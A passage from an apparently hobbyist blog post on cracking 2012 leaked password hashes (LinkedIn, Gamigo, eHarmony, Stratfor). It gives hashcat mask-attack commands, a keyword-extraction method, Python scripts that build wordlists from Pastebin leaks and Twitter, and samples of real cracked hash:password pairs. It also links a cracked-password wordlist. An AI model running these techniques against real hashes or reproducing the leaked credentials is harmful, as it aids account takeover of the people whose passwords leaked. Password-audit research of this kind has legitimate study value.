<p><strong>0linkedin1-us2</strong> &#x2013;&gt; Was cracked because it contains the keyword &quot;<strong>0linkedin1</strong>&quot; which is part of &#x201C;<strong>M00linkedin13</strong>&#x201D; and 1 other linkedin password. <em>0linkedin1-us2 = keyword + 4chars</em></p>
<h6 id="thepaddingtechniquecth_wordextractor">The padding technique &#x2013; CTH_WordExtractor</h6>
<p>So the main idea that can cross your mind would be to manually analyse your cracked passwords and look for good keywords, to finally write rules based on these few keywords&#x2026; But what if there are so many keywords that you can&apos;t even complete all this work manually? The answer is to have a keyword extractor based on your results, and <a href="https://gitlab.thireus.com/Thireus/crack-that-hash/blob/master/CTH_WordExtractor.sh?ref=blog.thireus.com" title="This file is part of the Crack That Hash project. &#x2014; Let&#x2019;s call this, the padding technique&#x2026; ;)">CTH_WordExtractor.sh</a>&#xA0;(from my &#x201C;Crack That Hash&#x201D; project) is the script I have created for this purpose!</p>
<p>You can get the script here:&#xA0;<a href="https://gitlab.thireus.com/Thireus/crack-that-hash/blob/master/CTH_WordExtractor.sh?ref=blog.thireus.com" title="This file is part of the Crack That Hash project. &#x2014; Let&apos;s call this, the padding technique&#x2026; ;)">CTH_WordExtractor.sh</a></p>
<p>This script helps you to extract all potential keywords directly from your current pot file. Basically what this script does is:</p>
<ol>
<li>Read all passwords and use a padded window which padding and size vary from X to Y as defined by the user.</li>
<li>Sort extracted words by size and for each word count its redundancy in all passwords.</li>
<li>Ask the user to select a range of redundancy to select only good words. In other words to select real &quot;keywords&quot;.</li>
<li>Generate keyword wordlists from X chars to Y chars to be used by the user.</li>
</ol>
<p>In the case of LinkedIN passwords, a 4-6chars keyword wordlist would contain the following keywords (this is just a sample):</p>
<pre><code>inke
inked
link
Link
linke
Linke
linked
Linked
</code></pre>
<p>This wordlist will be used to append and prepend characters using <a href="http://hashcat.net/wiki/doku.php?id=hybrid_attack&amp;ref=blog.thireus.com" title="Hybrid Attack">BruteForce and Mask attack</a> (which is the most effective). As you can see, most of these keywords are part of other keywords&#x2026; and you can think this is actually very bad in term of performances&#x2026; but it is not&#x2026; let&#x2019;s see why.</p>
<p>Let&#x2019;s take the example of the &quot;<strong>inke</strong>&quot; keyword&#x2026;</p>
<p>BruteForce + Mask attack with ?l will generate 26 possibilities per keyword:</p>
<p><strong>inke &#x2013;&gt; ?l + inke = 26 combinations</strong></p>
<p><em>But ONLY 1 will cause a repeated password which is &quot;<strong>linke</strong>&quot;.</em></p>
<p>The next step of the process will be to use BruteForce + Mask attack with ?l?l which will generate 26^2=676 combinations per keyword:</p>
<p><strong>inke &#x2013;&gt; ?l?l + inke = 676 combinations</strong></p>
<p><em>But ONLY 26 will cause repeated passwords which are those that have been generated by ?l + &quot;<strong>linke</strong>&quot;.</em></p>
<p>etc.</p>
<p>And for sure, we have been able to recover all passwords containing the keyword inke, including unexpected passwords such as:</p>
<pre><code>$dynamic_26$00000cd9fb6fe9d200144077861d4dc70c7d4798:reinke
$dynamic_26$00000efc970e5f2edc1bf34fea284e930b677c19:twinke
etc.
</code></pre>
<h6 id="theproperwaytousegeneratedkeywordwordlists">The Proper Way to Use Generated Keyword Wordlists</h6>
<p>First of all, this technique becomes more effective and useful when you reach your limits with other classic cracking techniques. Meaning that if you want to have a very good keyword wordlist you need a very big pot file.</p>
<p>Then, this technique must be used with <a href="http://hashcat.net/wiki/doku.php?id=hybrid_attack&amp;ref=blog.thireus.com" title="Hybrid Attack">GPU BruteForcing + Mask attack</a> or using <a href="http://hashcat.net/wiki/doku.php?id=combinator_attack&amp;ref=blog.thireus.com" title="Combinator Attack">combination attacks</a>. Applying classic John the Ripper or Hashcat rules on the keyword wordlist will not be effective at all and will be very slow. In this article I will only take as example the GPU BruteForcing + Mask attack.</p>
<ul>
<li>
<p>First of all, we need to generate our keyword wordlists from 4 to 14 chars. Let&apos;s do this for the <em>john.pot</em> of our LinkedIN cracked passwords:</p>
<pre><code>  $ ./CTH_WordExtractor.sh 4 14
</code></pre>
</li>
</ul>
<p><em>Other settings can be found in the CTH_WordExtractor.sh script such as padding limits.</em></p>
<ul>
<li>
<p>This is the list of wordlists generated:</p>
<pre><code>  $ ls CTH/
  CTH_WORDLIST_FINAL_10-10.dic CTH_WORDLIST_FINAL_4-6.dic CTH_WORDLIST_FINAL_6-9.dic
  CTH_WORDLIST_FINAL_10-11.dic CTH_WORDLIST_FINAL_4-7.dic CTH_WORDLIST_FINAL_7-10.dic
  CTH_WORDLIST_FINAL_10-12.dic CTH_WORDLIST_FINAL_4-8.dic CTH_WORDLIST_FINAL_7-11.dic
  CTH_WORDLIST_FINAL_10-13.dic CTH_WORDLIST_FINAL_4-9.dic CTH_WORDLIST_FINAL_7-12.dic
  CTH_WORDLIST_FINAL_10-14.dic CTH_WORDLIST_FINAL_5-10.dic CTH_WORDLIST_FINAL_7-13.dic
  CTH_WORDLIST_FINAL_11-11.dic CTH_WORDLIST_FINAL_5-11.dic CTH_WORDLIST_FINAL_7-14.dic
  CTH_WORDLIST_FINAL_11-12.dic CTH_WORDLIST_FINAL_5-12.dic CTH_WORDLIST_FINAL_7-7.dic
  CTH_WORDLIST_FINAL_11-13.dic CTH_WORDLIST_FINAL_5-13.dic CTH_WORDLIST_FINAL_7-8.dic
  CTH_WORDLIST_FINAL_11-14.dic CTH_WORDLIST_FINAL_5-14.dic CTH_WORDLIST_FINAL_7-9.dic
  CTH_WORDLIST_FINAL_12-12.dic CTH_WORDLIST_FINAL_5-5.dic CTH_WORDLIST_FINAL_8-10.dic
  CTH_WORDLIST_FINAL_12-13.dic CTH_WORDLIST_FINAL_5-6.dic CTH_WORDLIST_FINAL_8-11.dic
  CTH_WORDLIST_FINAL_12-14.dic CTH_WORDLIST_FINAL_5-7.dic CTH_WORDLIST_FINAL_8-12.dic
  CTH_WORDLIST_FINAL_13-13.dic CTH_WORDLIST_FINAL_5-8.dic CTH_WORDLIST_FINAL_8-13.dic
  CTH_WORDLIST_FINAL_13-14.dic CTH_WORDLIST_FINAL_5-9.dic CTH_WORDLIST_FINAL_8-14.dic
  CTH_WORDLIST_FINAL_14-14.dic CTH_WORDLIST_FINAL_6-10.dic CTH_WORDLIST_FINAL_8-8.dic
  CTH_WORDLIST_FINAL_4-10.dic CTH_WORDLIST_FINAL_6-11.dic CTH_WORDLIST_FINAL_8-9.dic
  CTH_WORDLIST_FINAL_4-11.dic CTH_WORDLIST_FINAL_6-12.dic CTH_WORDLIST_FINAL_9-10.dic
  CTH_WORDLIST_FINAL_4-12.dic CTH_WORDLIST_FINAL_6-13.dic CTH_WORDLIST_FINAL_9-11.dic
  CTH_WORDLIST_FINAL_4-13.dic CTH_WORDLIST_FINAL_6-14.dic CTH_WORDLIST_FINAL_9-12.dic
  CTH_WORDLIST_FINAL_4-14.dic CTH_WORDLIST_FINAL_6-6.dic CTH_WORDLIST_FINAL_9-13.dic
  CTH_WORDLIST_FINAL_4-4.dic CTH_WORDLIST_FINAL_6-7.dic CTH_WORDLIST_FINAL_9-14.dic
  CTH_WORDLIST_FINAL_4-5.dic CTH_WORDLIST_FINAL_6-8.dic CTH_WORDLIST_FINAL_9-9.dic
</code></pre>
</li>
</ul>
<p><em>CTH_WORDLIST_FINAL_4-14.dic for example means WORDLIST from 4 to 14 chars.</em></p>
<ul>
<li>
<p>Then we can select a specific wordlist to be used by cudaHashcat-plus or oclHashcat-plus:</p>
<pre><code>  $ ./cudaHashcat-plus64.bin -m 100 -a 6 -1 ?a ../LEFT_LINKEDIN_CLEANED.txt ../CTH/CTH_WORDLIST_FINAL_4-11.dic ?1?1?1?1 --remove --gpu-temp-abort=110
</code></pre>
</li>
</ul>
<p>In this example, <strong>CTH_WORDLIST_FINAL_4-11.dic</strong> has been chosen because oclHashcat-plus/cudaHashcat-plus has a limit of 15 chars for hash computation. Which means you will never be able to crack passwords that are more than 15 chars long&#x2026; And that&apos;s why if you use a mask attack of 4 chars to be bruteforced you must use a wordlist containing words limited to a size of 11 chars.</p>
<ul>
<li>
<p>This is an output sample:</p>
<pre><code>  499896a0a104c0be6d7e578f9257e56e2dd97b31:rottweiler3:!^
  556cdfaabedd4a90c23627782ab7eb7a4d709565:LinkedInMakes$
  e5386e1f0de44840a987c4d0840accbe2573511f:NetworkingLuv!
  08e7c2d275a68e1519c8b0842c68601b7ba6274a:19linkedin_68!
  359e2430b1e4352f1577575b7ca1ae6866131820:linkedinmym99!
  8e6139a4503dd34297e32df7ea4cedc4275d3a85:linkedin15c00!
  df0fdf12590705e9c3ef6edb6f59323e3de6a70b:linkedinl1ng0!
  79984358590405280bca6e43d331465bdb586746:linkedin81*&amp;1$
  49cd314ab02e393171bcf1bf13099f55495b2c2e:Linkedin12kay#
  7813dc98e26938e83f4475c32bbd07a3fb81b473:linkedin69TJK]
  cc307a7d9e40b00c0100bc049c397b817aa0a274:linkedin12914??
  33f13bb3b861c0e5fc82b10fba7857107e079884:steelwindows@77
  3dd28c9d9cc4f646c254d6b4570e8bc6268b020b:artdirector@nsa
  44bdcefe2a698925c57d80712763245d07326704:yaslinkedin@yas
  8aa482c9989df0def8756e545457ebf206da9895:Linkedin151$cdu
  56267a448f53e5d6095844152310d12e52b710aa:thundercats@83a
  a5949feca9f34d7042aaffe537db0e2d298c572f:linkedin13713@@
  fab9ae4accf0b5766489c7760f4ee52582940d3c:missinglink=wwd
  1d92639e0279840b8d00a2d7793c291838664c6c:my-linkedin-pwd
  a1bac77b4fe610ec13300d246ad882a68f0fedda:Interactive@ln1
  90ba89bfa42002d8e6fb4fe3728bcbcd6605b49c:Inspiration.SSN
  [s]tatus [p]ause [r]esume [b]ypass [q]uit =&gt; s
  Status.......: Running
  Input.Base...: File (../CTH/CTH_WORDLIST_FINAL_4-11.dic)
  Input.Mod....: Mask (?1?1?1?1)
  Hash.Target..: File (../LEFT_LINKEDIN_CLEANED.txt)
  Hash.Type....: SHA1
  Time.Running.: 1 day, 7 hours
  Time.Left....: 3 hours, 59 mins
  Time.Util....: 112529717.4ms/0.0ms Real/CPU, 0.0% idle
  Speed........: 35724.6k c/s Real, 36175.5k c/s GPU
  Recovered....: 292/1086109 Digests, 0/1 Salts
  Progress.....: 4020080601574/4533053083750 (88.68%)
  Rejected.....: 0/4020080601574 (0.00%)
  HWMon.GPU.#1.: -1% Util, 82c Temp, -1% Fan
</code></pre>
</li>
</ul>
<p>And as we can see some interesting keywords have been selected, such as &quot;<strong>rottweiler</strong>&quot;, &quot;<strong>Networking</strong>&quot;, &quot;<strong>Interactive</strong>&quot;, &quot;<strong>artdirector</strong>&quot;, &quot;<strong>Inspiration</strong>&quot;, and of course keywords containing the word &quot;<strong>linkedin</strong>&quot;.<br>
You can also notice that I&apos;m not using a very powerful GPU, but a laptop with a &quot;NVIDIA NVS 3100m&quot; chip. So you can imagine how powerful this method can be with a better GPU!</p>
<p>To conclude on my new technique, I would say that it was very successful. I&apos;ve been able to recover more than 1 million passwords after having exhausted all the classic techniques I normally use, and that in just 13 days with a NVidia GTX 480 and an AMD HD6870. This 1 million result was mainly against Gamigo, eHarmony and Stratfor and after an initial achievement of about 80% recovered passwords. And one thing to consider is that to go further in the cracking process and have an optimized cracking methodology, I preferred merging multiple MD5 leaks into one big MD5 leak and use this technique against the merged pot file to generate my keywords. As explained before, you will find this technique more useful in the case of very big leaks and very big pot files.</p>
<p><em>Please consider my <strong>CTH_WordExtractor.sh</strong> script as a Xmas gift. I would love to receive feedbacks about your results with it. Of course, if you have ideas to ameliorate this script or this technique do not hesitate to contact me.</em></p>
<h4 id="methodologytogenerateeffectivewordlistsspanstylecolor888888spanstylecolor888888crackthehashspanspan">METHODOLOGY TO GENERATE EFFECTIVE WORDLISTS&#x2026;<span style="color: #888888;"> (<a href="https://twitter.com/CrackTheHash?ref=blog.thireus.com" title="CrackTheHash on Twitter"><span style="color: #888888;">CrackTheHash</span></a>)</span></h4>
<p><em>The main purpose of most of the classic cracking techniques are to guess the most common patterns in users&apos; passwords. Those techniques are either dealing with rules or wordlists, but in any case for them to be the most effective possible they need good candidate passwords as root of the technique process. But how can you find those good candidate passwords? The purpose of this part will be to explain a technique to find fresh new candidates from various sources such as <a href="http://pastebin.com/?ref=blog.thireus.com" title="Pastebin">Pastebin</a> or <a href="https://twitter.com/?ref=blog.thireus.com" title="Twitter">Twitter</a>.</em></p>
<p>First of all, to understand what brought me (<a href="https://twitter.com/CrackTheHash?ref=blog.thireus.com" title="CrackTheHash on Twitter">CrackTheHash</a>) on this methodology field, you need to know something about my hardware resources. They are very limited! I just own a dual-opteron with 2GB RAM. And for this reason, I do not want to exhaust my CPU for cracking hashes that everyone can easily recover. So I decided to focus my research on finding sources of good candidate passwords to be used for cracking techniques.</p>
<p>In order to know what we are looking for, let&apos;s write some principles that will rule our research. Those principles are based on the password characteristics for them to match at best the requirements of good candidates. And they are the following:</p>
<ol>
<li>Password candidates must be up to date.</li>
<li>Password candidates must be representative of what people may use.</li>
<li>Password candidates must be multilingual (passwords in Russian, Chinese, Greek, Farsi, etc.).</li>
<li>Password candidates must be available in large quantity.</li>
</ol>
<p>There are multiple sources on the Internet where you can find a large amount of data containing password candidates, but only a few will fill those requirements. For the needs of this article we will focus only on two platforms and sources of good password candidates, <strong>Pastebin</strong> and <strong>Twitter</strong>.</p>
<h6 id="pastebin">Pastebin</h6>
<p>Pastebin is probably the first Web location where you can find lot of fresh leaks and various user data. What is very interesting in most of the leaks we can find on <strong>Pastebin</strong> is that they often include real passwords in plaintext. So, monitoring Pastebin is quite interesting and useful to get fresh new candidate passwords. On top of that, there are several resources on the Internet, that will help you to monitor and download the latest Pastebin leaks. Portals like <a href="http://www.leakedin.com/?ref=blog.thireus.com" title="Stories About Data Leaks and Related Stuff">Leakedin</a>, <a href="https://twitter.com/PastebinDorks?ref=blog.thireus.com" title="PastebinDorks on Twitter">@Pastebindorks</a> or <a href="https://twitter.com/PastebinDorks?ref=blog.thireus.com" title="PastebinDorks on Twitter">@PastebinLeaks</a>&#xA0;or projects like <a href="https://github.com/xme/pastemon?ref=blog.thireus.com" title="xme / pastemon">pastemon</a> and <a href="https://github.com/lbragues/pasteminer?ref=blog.thireus.com" title="lbragues / pasteminer">pasteminer</a> are good examples of sources and tools you can use.</p>
<p>Unfortunately, in order to generate effective wordlists you have to create some further scripting because the data does not come very well parsed. The first step and ordinary solution to parse the Pastebin data is to generate a wordlist using the space or tab character as separator and replace it with a line break. This way may lead to miss some interesting candidates as in some leaks or cracking results. Most of the time you will find lines containing &quot;username:password&quot;, &quot;username | password&quot; or even worse, direct <a href="http://sqlmap.org/?ref=blog.thireus.com" title="Automatic SQL injection and database takeover tool">sqlmap</a> output, etc. So you have to be clever and find the best way to parse those leaks to create useful wordlists.</p>
<p>In any case, <strong>Pastebin</strong> can help us to build useful wordlists, because everyday new leaks are uploaded. The produced wordlists are not that amazing in term of quantity, but usually their content is valuable.</p>
<h6 id="twitter">Twitter</h6>
<p>Nowadays people tend to use sentences or combination of words for their passwords. They have been advised to do this as it is considered to be a strong and easy to remember way to create passwords. So I decided to use one of the the best sentence generator ever&#x2026; <strong>Twitter</strong>! Indeed, everyday people generate tweets with fresh content and in this case our password candidates are just what people are saying.</p>
<p>The most important thing about Twitter is that this social platform generates a lot of public and fresh data, is international and tweets are short enough to be parsed individually! On top of that, wordlists generated via Twitter can continuously feed John the Ripper.</p>
<p>So the first step is to grab live Twitter&apos; content. In order to achieve this, Twitter provides a live-feed query that gives you a full json of tweets with all the data you need. The only elements that are required to perform this query are a valid Twitter username and password:</p>
<pre><code>curl --user &lt;username&gt;:&lt;password&gt; https://stream.twitter.com/1.1/statuses/sample.json
</code></pre>
<p>To get only the tweet content you have to parse it a bit. First we may need the <code>-m</code> argument of curl to timeout just in case of network trouble and then grep the data received with the keyword <code>&quot;text&quot;</code>.</p>
<pre><code>curl -m 10 --user &lt;username&gt;:&lt;password&gt; https://stream.twitter.com/1.1/statuses/sample.json | grep \&quot;text\&quot;
</code></pre>
<p>Once received, the result must be parsed because it comes with Unicode escaped characters. Something like the following script will do the trick:</p>
<pre><code>import json, sys
for data in sys.stdin:
&#xA0;&#xA0;jj=json.loads(data)
&#xA0;&#xA0;twit=jj[&quot;text&quot;]
&#xA0;&#xA0;&#xA0;print twit.encode(&apos;utf-8&apos;)
print &quot;done&quot;
</code></pre>
<p><em>The above few lines of <strong>Python</strong> code can be directly used to generate candidate passwords, which means keeping the whole sentence of the tweet. Another approach is to use each word of the tweet as a candidate password. Furthermore, an interesting idea is to combine tweet words with others.</em></p>
<p>What we can do is generate combinations of 4 words. Best results are by combining with or without space separators.</p>
<p>Here is a small <strong>Python</strong> script I wrote to perform this task, the input file is &quot;tweets.txt&quot;:</p>
<pre><code class="language-python">    import sys
    def combinations(words, length):
    &#xA0;&#xA0;&#xA0;&#xA0;if length == 0:
    &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;return []
    &#xA0;&#xA0;&#xA0;&#xA0;result = [[word] for word in words]
    &#xA0;&#xA0;&#xA0;&#xA0;while length &gt; 1:
    &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;new_result = []
    &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;for combo in result:
    &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;new_result.extend(combo + [word] for word in words)
    &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result = new_result[:]
    &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;length -= 1
    &#xA0;&#xA0;&#xA0;&#xA0;return result
    filein=open(&quot;tweets.txt&quot;,&quot;r&quot;)
    linesin=filein.readlines()
    for i in linesin:
    &#xA0;&#xA0;thisline=i.rstrip(&quot;\n&quot;).split(&quot; &quot;)
    &#xA0;&#xA0;for j in combinations(thisline,4):
    &#xA0;&#xA0;&#xA0;&#xA0;print &apos;%s&apos; % &apos;&apos;.join(map(str,j))
    &#xA0;&#xA0;&#xA0;&#xA0;print &apos;%s&apos; % &apos; &apos;.join(map(str,j))
    &#xA0;&#xA0;for j in combinations(thisline,3):
    &#xA0;&#xA0;&#xA0;&#xA0;print &apos;%s&apos; % &apos;&apos;.join(map(str,j))
    &#xA0;&#xA0;&#xA0;&#xA0;print &apos;%s&apos; % &apos; &apos;.join(map(str,j))
    &#xA0;&#xA0;for j in combinations(thisline,2):
    &#xA0;&#xA0;&#xA0;&#xA0;print &apos;%s&apos; % &apos;&apos;.join(map(str,j))
    &#xA0;&#xA0;&#xA0;&#xA0;print &apos;%s&apos; % &apos; &apos;.join(map(str,j))
    &#xA0;&#xA0;for j in thisline[:]:
    &#xA0;&#xA0;&#xA0;&#xA0;print j
</code></pre>
<p>As far as size is concerned, 10 seconds of live Twitter feed will give you about 1.5 MB and about 600 tweets. This size can be reduced down to 50 KB when keeping only the parsed tweet contents. This combination script will give you around 50 Million candidate passwords to test.</p>
<p>Those two approaches, are not the most effective for cracking million passwords. But for sure, they will give you interesting results such as passwords considered as very strong that have even resisted to lots of GPUs&apos; on fire.</p>
<h4 id="conclusion">CONCLUSION</h4>
<p>As you might expect, we are not professional password crackers. Password cracking is a hobby for us. Actually, our hardware resources are limited. And bruteforcing passwords is not the most time friendly way, unless you own many GPUs and strong hardware. For this reason, we are trying to discover new and effective techniques to crack complex passwords.</p>
<p>But always keep in mind that any platforms, websites and online services are never entirely protected against hacking and data leaks. So we would like to give some advices in order to protect your passwords in case critical scenarios such as the LinkedIN leak happen:</p>
<ul>
<li>Never share passwords</li>
<li>Never use the same password</li>
<li>Always use strong passwords</li>
<li>Do not use common words</li>
<li>Change your passwords on a regular basis</li>
</ul>
<p>We hope you enjoyed reading this article. Find attached at the end of this article our new wordlist as a late Xmas gift. And of course&#x2026;</p>
<p><strong>HAPPY NEW YEAR 2013!!!</strong></p>
<h4 id="aboutthewordlist">ABOUT THE WORDLIST</h4>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/M3G_THI_CTH/M3G_THI_CTH_WORDLIST_CLEANED.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Look Back on 2012&apos;s Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
75.8 MB - M3G_THI_CTH_WORDLIST_CLEANED.zip
    </div>
</div>
<h6 id="leaks">Leaks</h6>
<pre><code>LinkedIN
Gamigo
Adobe
Blizzard
eHarmony
Geissens
NVidia
Stratfor
Project Whitefox
Various leaks collected from Pastebin
</code></pre>
<h6 id="someresults">Some Results</h6>
<pre><code>LinkedIN*:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 6458020 password hashes SHA-1 LinkedIn
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 1078419 password hashes
LinkedIN**: (CLEANED NO DUPS)
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 5787239 password hashes SHA-1 LinkedIn
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 880786 password hashes
Gamigo:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 7004341 password hashes MD5
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 1019934 password hashes
Adobe:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 630 password hashes MD5
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 95 password hashes
Blizzard:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 15932 password hashes MD5
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 4967 password hashes
eHarmony:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 1513805 password hashes MD5
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 134345 password hashes
Geissens:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 32502 password hashes MD5
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 4180 password hashes
NVidia:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 791 password hashes MD5
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 354 password hashes
Stratfor:
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Loaded 822666 password hashes MD5
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Remaining 58694 password hashes
</code></pre>
<p><em><span style="color: #ff0000;">*</span>, <span style="color: #ff0000;">**</span> The initial LinkedIN hashlist contains 00000ed and non-00000ed SHA1 hashes. A lot of 00000ed hashes still have their duplicate non-00000ed hash in the list. For instance, if you crack the initial LinkedIN hashes with our wordlist you will find 473148 duplicates between 00000ed and non-00000ed, and if you are using John the Ripper with <code>--format:raw-sha1-linkedin</code> you will need to run the process twice to write duplicates (either the 00000ed or non-00000ed version) in your POT file. If you have already considered duplicates as non-useful, then the right results to consider are the ones from the CLEANED version.</em></p>
<h6 id="somepipalanalysis">Some Pipal Analysis</h6>
<ul>
<li>LinkedIN:</li>
</ul>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://blog.thireus.com/download/m3g_thi_cth_wordlist_linkedin_pipal.txt" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Look Back on 2012&apos;s Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
9 KB - m3g_thi_cth_wordlist_linkedin_pipal.txt
    </div>
</div>
<ul>
<li>Gamigo:</li>
</ul>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
<a href="https://blog.thireus.com/download/m3g_thi_cth_wordlist_gamigo_pipal.txt" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Look Back on 2012&apos;s Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
9 KB - m3g_thi_cth_wordlist_gamigo_pipal.txt
    </div>
</div>
<ul>
<li>eHarmony:</li>
</ul>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://blog.thireus.com/download/m3g_thi_cth_wordlist_eharmony_pipal.txt" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Look Back on 2012&apos;s Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
9 KB - m3g_thi_cth_wordlist_eharmony_pipal.txt
    </div>
</div>
<ul>
<li>Stratfor:</li>
</ul>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://blog.thireus.com/download/m3g_thi_cth_wordlist_stratfor_pipal.txt" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Look Back on 2012&apos;s Famous Password Hash Leaks - Wordlist, Analysis and New Cracking Techniques"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
9 KB - m3g_thi_cth_wordlist_stratfor_pipal.txt
    </div>
</div>
<h4 id="finalnotice">FINAL NOTICE</h4>
<p><em>The wordlist provided in this article has been created using all the presented cracking techniques against public leaks only. <span style="text-decoration: underline;">Do not expect to find new passwords using the same leaks and techniques presented here</span>.</em></p>
<p><span style="color: #ff0000;"><em>As always it is up to the reader to use this wordlist to do password recovery. We do not take any responsibility if some of your passwords can be found in this wordlist or be recovered using our techniques. Be aware that the best way to protect you is always to change your passwords as often as possible.</em></span></p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="rockyou yahoo wordlist">rockyou yahoo wordlist</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="john the ripper rules">john the ripper rules</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="famous passwords">famous passwords</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="wordlist">wordlist</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="john the ripper mask">john the ripper mask</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="korelogic rules best80">korelogic rules best80</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="john the ripper dynamic conf">john the ripper dynamic conf</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="leakedin paypal accounts">leakedin paypal accounts</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="leakedin paypal">leakedin paypal</a></li>
<li><a href="https://blog.thireus.com/look-back-on-2012s-famous-password-hash-leaks-wordlist-analysis-and-new-cracking-techniques" title="cudahashcat 1 31">cudahashcat 1 31</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Smartphone vs Smartphone Ownage PoC - Android ironha1l Spy Tool Suite to Hack/Pwn iOS Devices]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Android and iOS devices are today a prime target for hackers, and for a good reason, two of the main factors of the perfect attack are combined while exceeding any of the attacker&apos;s expectations.</p>
</blockquote>
